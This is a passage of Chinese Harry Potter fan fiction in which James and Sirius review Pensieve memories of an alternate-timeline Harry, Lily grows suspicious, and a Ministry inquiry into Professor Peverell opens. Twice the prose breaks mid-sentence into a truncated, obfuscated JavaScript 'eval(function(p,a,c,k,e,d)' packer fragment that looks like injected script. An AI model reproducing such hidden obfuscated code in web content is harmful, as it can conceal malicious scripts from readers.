他沉默了许久,最终开口,声音充满阴郁,“为什么摄魂怪靠近时,他的反应那么激烈?” 问出这个问题的同时,詹姆斯已经知道答案,只是不愿承认那个可怕的真相。 小天狼星语调低沉,把詹姆斯心中所想说了出来,“因为他经历过最糟的事。还有什么比他一岁时的遭遇更可怕的呢?” 詹姆斯闭上眼睛,眉头深深皱起,心中混乱如麻。他喉咙发干,半晌才挤出一句,“让我看最后一个记忆吧。” 小天狼星点头,刚要抽出魔杖,却顿了一下,侧头看向詹姆斯,“你还好吗?我看你脸色不太对。” 詹姆斯揉了揉太阳穴,语气僵硬,“我没事。只是……他飞得那么好,却差点摔死。我不知道该怎么想。”他顿了顿,声音低得几乎听不清,“如果那是哈利……可他不是……” 小天狼星静静地看着他,片刻后才说,“他不是你养大的那个孩子,这点毫无疑问。可你不能否认,他是哈利。他飞起来的样子,那个模样,太像你了。你感觉到了,对吧?” 詹姆斯猛地抬头,眼底混杂着怒意和伤痛,“别说了,大脚板。我不想听这些。” “好吧。”小天狼星轻叹一声,魔杖在他手中轻颤,“这段记忆最初只是零星碎片……近几天才变得完整。这是我记忆中最重要的瞬间……我想,你会想看的,尖头叉子。” 詹姆斯手指抠着冰冷的盆沿,“这是最后一个了?” 小天狼星点头,“或许是最重要的那个。” 他们再次俯身,沉入最后一段记忆的深处。 灰尘和霉味扑鼻而来,詹姆斯呛咳一声,鼻腔里满是腐木的刺鼻气味。他愣了下,立刻认出了这地方——尖叫棚屋,那个霍格莫德村外的破木屋。他们化作兽形奔跑的影子,曾在这儿游荡过无数次,为了陪月亮脸熬过每个难关。这个曾充满笑声和友谊的空间,早就封闭了十多年,再没有人需要它了。他从没想过,记忆会把他拽回这个荒废的老地方。 房间中央站着哈利和他的朋友们,对面是两个成年人,一个是骨瘦如柴的小天狼星,另一个是—— “月亮脸?”詹姆斯倒吸一口冷气,震惊地盯着那个过早衰老的男人,“莱姆斯也在这里?” 眼前的卢平和他印象里判若两人。破旧的长袍虽没补丁,却皱得像从箱底翻出来的旧货,脸上布满了深深的疲倦纹路,头发中夹杂着过多的灰白。那个总是带着温和笑容的卢平,如今蒙着一层沉沉的孤独疲惫。詹姆斯看到好友这副模样,悲伤堵得他说不出话。 “在那个世界里,他失去了我们所有人。”小天狼星低声说道,“狼人哪有好日子过?谁会愿意雇一个狼人呢?” 詹姆斯说不出话,他紧盯着卢平布满皱纹的脸和灰白的头发,想象着那些没有人陪伴的满月之夜。无人分担的痛苦,无人知晓的孤独——这些都刻在他朋友眼角的每一道细纹上,压在他过早佝偻的背影里。 这时,记忆中的卢平伸出手,“罗恩,把那只老鼠给我。” 罗恩怀里的灰色耗子疯狂挣扎,卢平和小天狼星同时举起魔杖,银光一闪,老鼠膨胀变形,最终显露出一个矮小、秃顶、眼神游移的男人。 “彼得。”詹姆斯咬紧牙关,指甲陷入掌心,眼中燃起怒火,“你这个叛徒!” 尽管已在上一段记忆中看到了真相,亲眼目睹这一幕仍让詹姆斯怒火中烧。时间似乎加速流动,碎片般的记忆闪现——彼得是如何背叛他们,如何嫁祸给小天狼星,又如何伪装成宠物躲藏多年。 詹姆斯冷冷地看着彼得在地上爬行求饶。他转头看向哈利——男孩脸上有震惊和愤怒,但更多的是超乎年龄的冷静。 当卢平和记忆中的小天狼星举起魔杖,准备结束彼得的生命时,哈利突然冲上前,挡住了他们。 “你们不能杀他。”哈利的声音有些颤抖,但眼神却坚定,“我们把他交给摄魂怪,让他进阿兹卡班……但绝不能杀他。” “哈利!”彼得拼命地抱住哈利的膝盖,近乎哭泣般恳求,“谢谢你,这是你对我开恩……” “别碰我!”哈利满脸厌恶地甩开彼得的手,“我这么做不是为了你。我只是觉得,我爸爸绝不会想让他最好的朋友为了你这种人,变成杀人犯。” 詹姆斯心脏几乎漏跳了一拍。“我爸爸”——这个词从哈利口中说出,带着一种全然的信任和确定。这个少年从未真正认识过自己的父亲,却依然坚信詹姆斯会做出什么选择。 一种奇异的感觉击中了他。前所未有的情感在胸口膨胀——骄傲、悲伤、认同,还有悔恨。 “他是对的。”詹姆斯喃喃道,“我绝不会希望你们为彼得这种人而变成杀人犯。” 记忆场景转换,他们跟着哈利一行人踏入了一条阴暗潮湿的隧道。 “你明白把彼得交出去意味着什么吗?”记忆中的小天狼星忽然转头问哈利。 “你自由了。”哈利毫不犹豫地答道。 “对,但我……还有一件事。”小天狼星的语气忽然僵硬了几分,“我不知道有没有人告诉过你——我是你的教父。” “我知道。”哈利平静地说。 “你的父母曾指定我做你的监护人,如果他们……遭遇不测的话……”小天狼星的话说得极为艰难。 詹姆斯无意间靠得更近,眼神紧紧盯着眼前的画面,生怕错过任何一个细节。 “当然,如果你更想和你姨妈姨父一起住——”小天狼星慌忙补充道,“但……如果你想要一个……一个不同的家……等我的名誉恢复后……” 哈利的表情在那一刻彻底改变了。 “什么——和你一起住?”哈利声音嘶哑,激动得头撞上了隧道顶部,“离开德思礼家?” “德思礼家?”詹姆斯猛地回头,愕然地看向身旁的小天狼星,“莉莉那个讨厌巫师的麻瓜姐姐家?邓布利多怎么能把我的儿子送到那种地方?” 知道记忆中的人听不见,他控制不住地提高了声音,“他们甚至连莉莉的婚礼都拒绝参加!那些人连听到‘魔法’两个字都会皱眉,邓布利多居然让哈利和他们一起生活?” 小天狼星低下头,脸上浮现痛苦的神色。詹姆斯忽然噤声,一阵尖锐的愧疚刺痛了他。这不是小天狼星的错——他显然也被这事实折磨着。詹姆斯伸手握住他的肩,目光再次回到记忆的画面。 “当然,你可能不会愿意,”记忆中的小天狼星迅速说道,“我完全理解——” “你疯了吗?”哈利激动地打断他,“我当然想离开德思礼家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“直到入学前,海格去接他的时候,他才第一次知道自己是个巫师,才听说你们的牺牲。”小天狼星眉头微皱,像是在翻检破碎的记忆,“我拼凑起的记忆不多,但这一点我记得很清楚。” 詹姆斯走出放置冥想盆的房间,回到书房里。他走到窗前,窗外的黑暗让他只能看到自己模糊的倒影。“我们那么爱他!”他的声音因怒火和痛楚而发颤,拳头猛地砸在窗台上,发出一声闷响,“怎么能不让他知道真相?怎么能让他以为我们只是……普通地丢下他走了?” 话音落下,詹姆斯突然意识到自己刚才说了什么。他缓缓转身,看着小天狼星,他刚刚亲口承认了,那个哈利——哈利·佩弗利尔,或者说,另一个哈利·波特,确实是他的儿子。 “你开始明白了,对吗?”小天狼星轻声问。 詹姆斯深呼吸,每个字都像在与自己搏斗,“那个在霍格沃兹教书的年轻人,”他最终开口,声音中仍带着犹豫,“那个飞行风格像我,举止像我,在面对危险时依然保持勇气的男孩……”他停顿了一下,“他确实可能是哈利,是吗?哪怕他来自另一个时间……” “我相信是这样,尖头叉子。” “但我还是不明白。”詹姆斯疲惫地靠在窗框上,迷茫与困惑又卷土重来,如果他真的是……“他深吸一口气,终于完整地说出那个名字,“哈利……那他来这里的目的是什么?为什么是现在?为什么要以这种方式?” 小天狼星双手一摊,“我的记忆答不了这个。只有他知道全部真相。”他直视着詹姆斯,“但现在有更紧急的问题。” 他抽出魔杖,在空中轻点,一份皱巴巴的《预言家日报》飞进书房,在詹姆斯面前自动展开,头条标题醒目得刺眼——《来路不明的神秘教授:霍格沃兹聘任制度引发担忧》。 小天狼星指着报纸,“魔法部盯上他了,下周的调查会不会轻易放过他。” 詹姆斯扫过报纸,语气硬邦邦地挤出来,“你是想让我帮助他?” “我只想你别带着偏见去看这件事。”小天狼星重复道,“那个哈利在他的世界失去了一切,忍受的痛苦远超他年龄需要承受的。现在,他好不容易在这里站稳脚跟,魔法部又要连这点都抢走。” 詹姆斯“啪”地放下报纸,又转身面向窗外,避开了小天狼星的视线。 “詹姆斯,我知道你在想什么。”小天狼星语气一沉,尖利得像刀子,“你不是恨他。你只是害怕。你怕接受另一个哈利,就等于把我们的小家伙丢在脑后,对吧?可你躲着,什么也解决不了。” 这话像雷劈下来,击中詹姆斯内心最脆弱的部分。他浑身一震,双手攥紧窗框。 詹姆斯头抵在冰冷的窗玻璃上,呼出的气息糊出一片雾。“你不明白。”他的声音低得像从喉咙里挤出来,“那个年轻人——他确实是哈利。可我一想到他,就想起我们的孩子再也不会长大了。”他闭上眼,眼角微微湿润,“我没法面对这个。” 小天狼星沉默了会儿,走到詹姆斯身旁,手重重拍在他肩上,语气缓下来,“我不指望你马上能接纳他。但至少,别让他独自应对一切。” 他顿了顿,侧过头直盯着詹姆斯,“我不要求更多,就一件事——以傲罗司司长的身份介入,不偏不倚地评判。不为别的,就当是为了霍格沃兹,为了邓布利多,别让福吉那家伙的把戏毁了一切。” 寂静在房间里延伸,詹姆斯的肩膀终于松懈了一点,他微不可察地点了点头。 “我会考虑。”长久的沉默后,他终于开口,“但仅此而已。公事公办,按规矩来。” “足够了。”小天狼星微微一笑,“谢谢,尖头叉子。” 詹姆斯举起手揉搓面庞,手指在眼窝处按压了几秒。“已经很晚了,”他说,声音里透着疲惫,“我该上楼了。莉莉会担心。” 小天狼星会意地点头,认出了谈话结束的暗示。他什么也没再说,只是简短地拍了拍老友的肩膀,拿起搁在椅背上的皮夹克。他的脚步声在门厅回响,随后是前门轻轻关上的声音。 詹姆斯在窗前多停留了片刻,直到看见小天狼星的身影消失在夜色里。他关上窗户,魔杖尖点灭书房里的烛光,只留墙壁上微弱的灯光照亮了通往楼梯的路,才转身缓慢地踏上了楼梯。 —————— 卧室里静得让人发慌,莉莉侧躺在床上,耳边是钟表指针一下下滴答作响。她笨重地翻了个身,肚子沉得让她喘了口气,盯着天花板,怎么也睡不着。 最近一段时间,她总是睡不安稳。哈利去世后,詹姆斯变得沉默寡言,每天眉头紧皱着——他无法摆脱亲眼目睹自己儿子死亡的阴影。作为母亲,她的痛一点不比他少,可肚子里这个孩子让她没法像从前那样放声哭出来,只能拼命忍耐着。 就在刚才,她听见楼下书房门吱吱响了一声,像是关上了,脚步声细碎地远去——小天狼星走了,詹姆斯应该要上楼了。她闭上眼,脑子里却乱成一团。不久前,她实在睡不着,想下楼冲杯安神茶,扶着楼梯慢慢挪到一半,却在书房门口停了脚。 那会儿书房门虚掩着,冥想盆的银光从缝隙里漏出来,晃得她眼一眯。 詹姆斯的确有一只冥想盆,偶尔会用来检查傲罗司案件中遗漏的记忆细节,但这几年生活平静,他已经许久没有用过了。今晚,他为什么要翻出这东西? 她隐约听见詹姆斯和小天狼星低声说着什么,本想悄悄走开,不去干涉丈夫的私事,可几个词钻进耳朵,一下子把她钉在原地—— “德思礼家……另一个哈利……” 莉莉当时愣在楼梯口,耳边嗡嗡作响,手不自觉地扶住肚子,还以为自己听岔了。德思礼家?她那个几乎断了联系的姐姐佩妮?这些年来,她只是礼节性地寄去圣诞卡,而对方甚至连一句回信也没有。而更让她心乱如麻的是——“另一个哈利”又是什么意思? 一瞬间,一张年轻的面孔忽然在她脑海中蹦了出来——哈利·佩弗利尔。 她至今记得第一次见到他时,自己就莫名其妙掉了眼泪。直到现在,她仍然无法解释当时自己的反应。他乱糟糟的黑发,那说话的语气与神态,那酷似詹姆斯的眉眼,总带给她一种说不清的熟悉感——像见到了失散多年的亲人。可这怎么可能? 莉莉抬手拨开额前散落的红发,强迫自己冷静下来,却压不住心里的波澜。 她还记得那天是小哈利的生日,巧合的是,哈利·佩弗利尔的生日也在同一天。他们邀请这位年轻人共同庆生,聚会上她始终觉得有一道目光经常停留在自己身上,可每当她转头寻找时,却只见哈利·佩弗利尔神色自若地与詹姆斯或其他人谈笑着,让她怀疑那一切只是自己的错觉。 后来知道他独自照顾失去父母的小泰迪,她心底竟生出一种近乎母亲般的怜惜——这令她自己都感到有些诧异和好笑,毕竟,这个年轻教授只比她自己小几岁而已。这种奇怪的情绪一直持续到圣诞节,她甚至给他和他的教子各织了一条围巾作为礼物。 那段时间,詹姆斯每天往医疗翼跑,守着被石化的小哈利,盼着曼德拉草快些成熟。回来时,他会顺口提一句,哈利·佩弗利尔还在旁边病床上昏迷着。再后来,小哈利的突然离世让他们陷入了巨大的悲痛,因此,当圣诞假期过后收到哈利·佩弗利尔那封迟来的感谢信时,她连细看的心思都没有,随手就塞进了床头柜。 但现在,那封被忽略的信突然在她心里变得沉甸甸的,好像里面藏着某个她从未注意到的秘密。 书房里的交谈声渐渐停了,莉莉才回过神,发现自己杵在楼梯口太久,腿都有些发麻。她慢慢回了卧室,躺回床上,盯着黑暗里的天花板,那几个词在她脑子里转个不停——“德思礼家”“另一个哈利”…… 或许,詹姆斯这些日子的反常,并不仅仅是因为小哈利的去世。这一刻,她终于隐隐意识到,丈夫可能隐瞒着更深的秘密。 关于那个年轻的教授,关于她失去的孩子。 哈利·佩弗利尔,他会是詹姆斯他们提到的“另一个哈利”吗?他究竟与他们有怎样的关系? 楼下脚步声渐近,她重新闭上眼,任凭这些疑问在黑暗中纠缠着自己,久久无法入睡。 82. 魔法部特别调查会(上) 哈利手里攥着几张羊皮纸,在办公室里来回踱步,低声念着上面的内容。走完一圈,他抬头瞥一眼窗外,看见庭院里那些三五成群的学生。他们裹紧袍子,挤在一起嘀咕着什么,显然都在小声议论即将到来的魔法部调查会。 一叠从邓布利多那里取来的文件摊在桌上——东欧魔法学院的课程记录、波兰巫师瓦西里的推荐信、几张做旧的照片——有些纸页还摊开着。每个文件他已经看过至少五遍,每个细节都烂熟于心,确保没有破绽,可还是忍不住多确认几次。这些精心伪造的“证据”也许能骗过魔法部,却无法减轻他胃里那股紧绷感。他并不太担心最后的结果,却永远不会习惯面对不怀疑好意的审问,只能皱着眉把文件塞回桌上。 敲门声响起,哈利抬头看见泰迪推门进来,停在门口盯着他没动。 “进来吧,泰迪。”哈利迅速将文件推到一边,挤出一丝笑,“对了,明天就是你生日了。我给你准备了礼物,想猜猜是什么吗?” 泰迪走进来,肩膀垮着,头发渐渐染上一片灰绿色。 “所有人都在谈论调查会,”他对生日的话题毫无反应,低头盯着地板,手指不自觉地绞着袍角,“我看见魔法部的人了,他们已经到了。他们不能赶你走,对吧?” 哈利绕过桌子,手搭在泰迪肩上。 “听着,泰迪,我应付过比这糟得多的事。魔法部那套把戏我再熟悉不过了。”他稍停了一下,目光稍稍柔和,“再说,邓布利多站在我这边。别担心。” “如果他们不相信你呢?”泰迪抬头,眼睛睁大,“要是乌姆里奇她……” 面对泰迪的担忧,哈利蹲下身,保持与他视线平齐。 “不管怎么样,”他双手扶住男孩的肩膀,“我哪儿也不去。明白吗?” 泰迪咬了下唇,突然向前一步,紧紧抱住哈利,力道大得出乎意料。“如果他们真的不让你留下来,”他埋在哈利肩头闷声说,“那我也要跟你一起走。我不会留在这儿的。” 哈利轻轻回抱住他,发现自己一时说不出话,只能轻拍男孩的背。 门口传来一阵急促的脚步声,哈利松开手,转头一看,罗恩和赫敏挤在那里,手里抱着一叠厚厚的羊皮纸。他俩喘着粗气,肩膀还在上下起伏,看样子是匆忙赶来的。 泰迪也转身看到他们,眼睛亮了亮,头发变回了棕色,“罗恩!赫敏!你们跑哪儿去了?” 赫敏挺直腰,手一撑门框,“我们跑遍城堡找人签字。看你心情不太好,就没叫你。”她还不忘解释一句,等喘匀了气,把羊皮纸递过去,“佩弗利尔教授,我们觉得这或许能帮上忙。” 哈利接过羊皮纸,手指划过第一页。赫敏的字迹整整齐齐:“支持哈利·佩弗利尔教授留任霍格沃兹”,下面是一长串签名。他翻了几下,发现后面还有好几页。 “大部分学生都签了名,”罗恩挺了挺胸,“连一些斯莱特林也加入了。” 哈利翻到最后几页,在一堆歪歪扭扭的签名里,不是很意外地看到德拉科·马尔福的签名——那个刻意保持距离的金发男孩,写下的名字却干净利落,毫不犹豫。 “这……真是太感谢了。”哈利说,轻轻合上羊皮纸,“不过我担心魔法部不会把学生们的意见放在心上。” “至少能证明你在学校有多受欢迎,”罗恩说,指了指签名最多的那页,“而且让福吉明白,如果他赶走你,会有多少人不满。我们本来想把这个直接交给调查组。” “别,”哈利摇头,“那只会给乌姆里奇更多借口指控我煽动学生对抗魔法部。现在把这些收好。” 一阵轻快的笑声从门外传来,弗雷德和乔治的脑袋挤着探进来,嘴角挂着一样的坏笑。 “佩弗利尔教授,”弗雷德挤了挤眼,手在空中比了个鬼脸,“我们已经备好了一份特别欢迎,给那些敢找你麻烦的调查员。” “绝对不行!”哈利立刻说,声音毫无妥协余地,“我不想任何人因为我惹上麻烦。” “只是些无害的小玩笑,”乔治说,无辜地摊开手,“比如会自动变色的羊皮纸,或者偶尔写出蛇形字母的羽毛笔。” 哈利抿了下嘴,硬是没让自己笑出来。 “谢谢你们帮忙,”哈利缓了缓语气,“但别乱来,保持低调,这件事的麻烦已经够多了。” “乔治和弗雷德可从不知道什么叫低调。”罗恩凑到赫敏和泰迪旁边嘀咕。赫敏拿手一拍额头,翻了个白眼,泰迪捂着嘴咯咯笑。 正当哈利想继续说些什么—— “佩弗利尔教授。”斯内普冷冷的声音从门口传来,学生们几乎同时往两边退开,“你要在这里接待粉丝俱乐部的会员到正午,还是准备好面对调查会?” 哈利把请愿书往桌上一放,“我这就来,斯内普教授。” 学生们挤着往外走,最后剩泰迪,他在门口顿了顿脚步,转身说,“我会在礼堂门口等你。” 他又抬头看向斯内普,声音小了些,“西弗,你会帮哈利吧?” 斯内普低头瞥了他一眼,“走吧,别在这儿浪费时间。” 等到泰迪身影消失,他才哼了声,“你的格兰芬多小崇拜者们倒是挺热心,可惜魔法部不会被学生的签名打动。” “他们只是想帮忙。”哈利收好文件,塞进长袍内侧。 “但愿你没把在东欧的‘经历’忘得一干二净。”斯内普眯了眯眼:“若是一开口便露了马脚,我可不会替你补充。” “每个细节都刻在脑子里了。”哈利拍了下袍子口袋的位置,“我连梦里都在东欧对付蜘蛛。” 说完,哈利轻哼一声,“我真的好奇魔法部认为霍格沃兹该如何挑选教师——”他掰着手指数起来,“第一,擅长实战防御魔法,不合格;第二,能教会学生保护自己,不需要;第三,有处理黑魔法危机的经验,没有用;第四,受学生敬重和喜爱,没必要;第五,笑容灿烂、头发飘逸,天天吹嘘那些没影儿的事迹,完美人选。” 斯内普嘴角抽了一下,难得没忍住,发出一声短促的轻笑,“你的观察相当准确。看来你比我想象的更了解魔法部的运作方式,波特。毕竟——” 他很快收住笑,脸一板,“魔法能力、果断决策、独立思考、教育先于政治——这些优秀品质在魔法部部长身上自然是一律不存在的。” 哈利假装咳嗽掩饰自己的笑意。梅林在上,他可从未觉得斯内普的讥讽这么动听过。 “记住,波特。”斯内普眼神微微一凝,“今天不仅关系到你的教职。福吉和乌姆里奇的真正目标是邓布利多和霍格沃兹的自主权。” 哈利一顿,“他们想要的不只是换掉一个教师——这是一场权力争夺。”他平静地说,“不过,他们想从我这里下手,可没那么简单。” 斯内普深深地看了他一眼,“礼堂已经准备好了。” —————— 当哈利走进礼堂时,差点没认出这个熟悉的空间。学院长桌全都不见了,取而代之的是一种法庭式布局。礼堂前方原本教师席的位置现在摆放着一张长桌,福吉端坐中央,乌姆里奇和两名陌生的调查员分列两侧。在他们面前留了一块空地,应该是为证据展示而预留的。 礼堂中央分成了两个区域:右侧是霍格沃兹的教师们——邓布利多、麦格教授、弗立维教授和斯普劳特教授已经就座。哈利扫了眼左侧的校董会成员,毫不意外地看到了卢修斯·马尔福,他正与身旁一位面色阴郁的男巫交谈;一位戴着秃鹰帽饰的老妇人端坐旁边,哈利认出那是纳威的祖母;另一侧还有两位巫师,其中穿着考究的中年女巫是魔法部法律执行司顾问米莉森特·巴格诺——战后为斯内普画像一事与校董会交涉时,哈利曾多次与她打交道,是个十分强势的人物。她旁边那位银发巫师则是他不认识的。 哈利跟随斯内普走向霍格沃兹教师席。穿过整个礼堂的过程中,他感到所有人的目光都落在他身上,评判、审视,甚至带着怀疑。就在他准备走向教师席末端的座位时,纳威的祖母从校董席站起身,径直朝他们走来。 “西弗勒斯,”奥古斯塔·隆巴顿微微挺直了背,声音低沉却清晰,“这位就是年轻的佩弗利尔教授吧?” 斯内普简短地点头。 “我是奥古斯塔·隆巴顿。”她目光锐利地打量着哈利,“我孙子纳威去年在您的课上成绩相当不错。现在他每封家信都在抱怨二年级生不能继续上您的课。说新教授比起来实在是……差强人意。” “很荣幸见到您,隆巴顿夫人。”哈利真诚地回答,“纳威在得到适当鼓励时表现出了非凡的天赋,他只需要多一点信心而已。” 隆巴顿夫人眉毛一挑,目光在哈利脸上多停了一瞬,带着几分意外。“希望今天的闹剧不会持续太久,”她压低声音,转向一旁的邓布利多,“阿不思,霍格沃兹聘用谁教书向来是校长的权力,魔法部的干预实在过了头。” “感谢您的支持,奥古斯塔。”邓布利多平静地说。 隆巴顿夫人回到座位后,哈利侧过头,轻声问斯内普,“我只认得米莉森特·巴格诺。其他人是谁?” 斯内普的眉毛略微扬起,“那个头发花白的老古董是赫克托·弗利——无害、无骨气、无用处,除了跟着旁边的人投票外,别无长处。至于马尔福旁边那个……生物——”他把声音压得更低,“是巴蒂莫斯·伯克。与那家专营诅咒项链和毒药柜子的‘高雅’店铺有亲缘关系。我宁可信任一只饥饿的曼提柯尔,也不会相信那个家族里爬出来的任何东西。奇怪的是他似乎出人意料地没有反对你继续任教。不知道马尔福对他说了什么。” 哈利看向卢修斯·马尔福和巴蒂莫斯·伯克,两人正在交谈,卢修斯不时瞥向福吉所在的位置,表情难以捉摸。从校董们的位置和神态来看,今天的会议恐怕会比预想的复杂得多。 “根据规定,调查会上校长和教授们应有充分发言权。”斯内普继续道,“但魔法部明显不太满意这一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他快速瞥了一眼乌姆里奇,拿起一份文件,简单地翻看了一下,语气稍稍拔高,“如各位所知,一个月前,霍格沃兹发生了一系列令人忧心的安全事件——危险生物在校园里游荡,学生遭到攻击,甚至有一名学生——”他故作悲痛地叹了口气,“——不幸丧生。这种情况显然是完全不可接受的。” “这件事引起了魔法界的极大关注。”他顿了下,喉咙做了个吞咽动作,才继续说,“在校董会成员,特别是卢修斯·马尔福先生的建议下,魔法部依据特别管理法令编号二十七,派遣了调查组,对霍格沃兹进行了为期两周的全面检查。” 福吉的声音变得更加尖锐,“结果非常令人担忧!乌姆里奇女士在调查过程中发现了两个问题——校内的大量神秘‘D.A.’标记,以及佩弗利尔教授的履历问题。”他目光从邓布利多身上扫过,转向哈利时皱了下眉。 哈利在座位上挺直了背,感到所有目光都集中在他身上。 福吉转向校董席,“鉴于事关学校管理和学生安全,魔法部邀请了校董会部分成员参与讨论。邓布利多校长和各位院长当然也可以发表意见。” “乌姆里奇女士,请介绍你的发现。” 乌姆里奇立刻接过话头,她那甜腻的声音让哈利皮肤泛起鸡皮疙瘩,“感谢部长先生。作为高级调查官,我不得不遗憾地报告,霍格沃兹的情况比我们最初预计的要严重得多。” 她转向身旁的一位瘦高男巫,“戈尔先生,请展示我们的第一项发现。” 戈尔站起身,不自在地扯了扯领口,看得出他对众人的注意力感到紧张。他抽出魔杖挥了挥,立刻,一系列照片投影到半空中,放大显示在城堡各处发现的“D.A.”标记。 “在过去两周内,”戈尔解释道,“我们发现了七十三处此类标记。它们出现在城堡的各个角落。每一处我都做了详细记录,并分析了其中的魔法特征。” 他开始滔滔不绝地讲解每张照片,似乎一提到他熟悉的领域就停不下来。哈利注意到卢修斯在听了几分钟后明显表现出不耐烦,而米莉森特·巴格诺女士则皱起了眉头。 “谢谢你,戈尔先生,非常全面。”乌姆里奇及时打断了他,声音甜腻得像加了过量糖浆的茶,“如各位所见,这些遍布城堡的‘D.A.’标记——必然不是随意散落的痕迹。” 她目光扫过礼堂内的每一位校董,然后停在邓布利多身上,“我们有理由怀疑,这两个字母代表着一个秘密组织的缩写——据可靠信息来源,它的全称是‘邓布利多军’。”她故意拖长了最后几个字。 乌姆里奇嘴角勾起一丝得意的微笑,“一支由学生组成的秘密军队,在霍格沃兹的城堡内集结训练。而这一切,显然是在某位教授的指导下进行的。”说到最后,她的目光意味深长地在哈利身上多留了一瞬。 巴格诺坐直了身体,“这是个严重指控,乌姆里奇女士。您有何实质证据支持这一理论?” “当然,巴格诺女士。”乌姆里奇转向巴恩斯,“巴恩斯,请展示我们的发现。” 巴恩斯站起身,从文件夹中抽出一叠材料,显然已为这一刻做好了充分准备。就在这时,礼堂的大门发出一声低沉的吱呀,沉重的橡木门扇缓缓分开,门缝逐渐露出外面的光影。 全场的目光都转向门口。哈利的心跳猛地加速,双手不自觉地攥紧椅边,目光死死钉在门口的熟悉身影上。 站在那里的,是身披正式傲罗长袍的詹姆斯·波特和小天狼星·布莱克。 83. 魔法部特别调查会(中) 哈利的大脑一片空白。 詹姆斯·波特站在门口,身披深色的傲罗司长官袍,站得笔直,目光扫过礼堂,透出一股沉着的气势。小天狼星就在他身旁,松散地系着傲罗制服领口,双手插在口袋里。他侧头环顾四周,那张英俊的脸上挂着漫不经心的笑容,在看到礼堂某处时,眼睛微微弯起。 哈利的视线无法从他们身上移开。坐在被审查的位置上,看着父亲和教父身着傲罗制服走进礼堂,这情景比他想象过的任何场景都要荒谬。尤其当他几乎确定詹姆斯对他的态度不会是善意的情况下。 他们是为公务而来,还是……哈利及时止住自己不切实际的妄想,内心苦笑一下,总不会是来看自己有多狼狈吧?就在这念头闪过的瞬间,小天狼星似乎朝他眨了下眼,但哈利刚要确认,对方已转开视线。 “波特司长?”福吉声音比平时高了几分,右手神经质地整理着长袍翻领,“我没想到你能这么快赶来。考虑到申请批准的时间——” “我早上收到批准通知后就立即赶来了,福吉部长。”詹姆斯面无表情地打断他。他大步走向魔法部长桌尽头的空椅子坐下,“尽管申请已经提交了四天。”他视线掠过校董和教授席,避开哈利的位置。“根据魔法部条例第九十七条,任何涉及疑似组织性安全威胁的调查都应当通知傲罗司。” 小天狼星紧随其后,从长袍内侧取出一卷羊皮纸,随意地向福吉挥了挥,“部长先生,这是批准文件副本,我们带来了,以防有人忘记告知您详情。”他意有所指地瞄了眼脸色铁青的乌姆里奇,挥动魔杖,一把椅子从墙边飘到詹姆斯旁边。 福吉脸色略显尴尬:“程序问题,你知道的。部门间文件传递有时会有些滞后。”他干咳一声,“我们正好讨论到——” “邓布利多军?”小天狼星往椅子上一坐,身子往后靠去,椅子前腿微微离地,“听起来颇为有趣。” 哈利迅速瞥向邓布利多。校长伸手扶了下眼镜,湛蓝的眼睛透过半月形镜片的上方观察着这场突然的变故,对傲罗的现身似乎并不感到意外。斯内普则双臂交叉在胸前,身体微微后靠,面容依然冷漠,但哈利清楚地听到他低声啧了一声——詹姆斯和小天狼星的出现显然不在他的欢迎名单上。 “傲罗司为什么突然对这件事感兴趣?”乌姆里奇恼怒地看了福吉一眼,僵硬地挤出甜腻的笑容,“在为期两周的调查中,我不记得见过任何傲罗。” 詹姆斯从公文包中取出几份文件,动作镇定自若,“我们通常不干涉教育事务,乌姆里奇女士。但当指控涉及‘军队’这种措辞时,作为负责巫师社会安全的部门,我们必须确保指控基于事实,而非猜测。” 校董们交换着眼神。米莉森特·巴格诺目光犀利地在詹姆斯和乌姆里奇之间来回审视:“波特司长,您的质疑点在哪里?” “首先,我想知道这些所谓的‘D.A.’标记是什么时候首次出现的。”詹姆斯翻阅着手中的记录,表情依然公事公办,“根据我得到的报告,在调查开始前,城堡内并没有任何此类标记的记录。” 巴恩斯翻查着自己的记录,声音略显紧张:“确实,最早记录的标记是在调查开始后第四天发现的。” “换句话说,”隆巴顿夫人严肃地指出,“这些标记很可能是对调查本身的回应,而非预先存在的活动证据。”她黑色的秃鹰帽在说话时微微颤动,“学生们对外部干预的反应总是出人意料。” 赫克托·弗利看了几眼身旁的几位校董,轻轻点头附和:“如果是这样,那么调查的前提就值得重新考虑了。” 乌姆里奇的脸色变得难看:“这种推测毫无依据!”她转向巴恩斯,声音陡然尖利,“向他们展示我们的关键证据。” 巴恩斯从文件堆中抽出一份羊皮纸,“在东塔一间废弃教室,我们发现了这份名单,上面标注‘D.A.’,列有三十六名学生的签名——经调查,这些学生分布在各个学院的高年级,而落款处则有佩弗利尔教授的亲笔签名。” 她直视着哈利:“经过分析,我们认为‘D.A.’很可能代表‘邓布利多军’,佩弗利尔教授也许是这支秘密队伍的实际负责人。” 她挥动魔杖,羊皮纸的内容放大显示在空中。 这份名单在校董间掀起一片波澜。米莉森特·巴格诺紧皱眉头,眯起眼睛盯着名单;赫克托不停地望向卢修斯又望向邓布利多;隆巴顿夫人则轻哼一声,看上去对名单内容并不在意。詹姆斯的手指在文件上短暂停顿,但他的表情依然纹丝不动,目光扫过羊皮纸上的名字。小天狼星则扬起一侧嘴角,低声吹了个口哨。卢修斯·马尔福似乎对整个过程兴趣寥寥,只偶尔抬眼瞟向邓布利多。 “可以让我看看那份名单吗?”邓布利多伸出手,语气温和得如同在请求一块柠檬雪宝。 巴恩斯不太情愿地将羊皮纸递给校长。邓布利多接过名单,饶有趣味地把它举到眼前,然后又拿远,好像在寻找最佳的阅读距离。“啊,年纪大了,眼睛不如从前了。”他微笑着说,随后眉毛困惑地皱起,“不过我似乎看到底部有些东西。” 他翻转羊皮纸,对着光线查看,“嗯,这里有一片相当顽固的墨迹,遮住了一些文字。你注意到了吗,乌姆里奇女士?” 乌姆里奇的微笑中透着点不耐烦,“无关紧要的污迹罢了,校长。” “也许吧。”邓布利多点点头,将羊皮纸放在桌上,从长袍内侧口袋取出魔杖,“不过作为一个对文字有些痴迷的老人,我总是好奇被遮掩的内容。你介意我试着清理一下吗?” 不等乌姆里奇回答,他便轻轻一挥魔杖—— 墨迹如退潮般褪去,露出下方清晰的小字:霍格沃兹决斗协会报名表(五—七年级)。 礼堂内一片寂静。 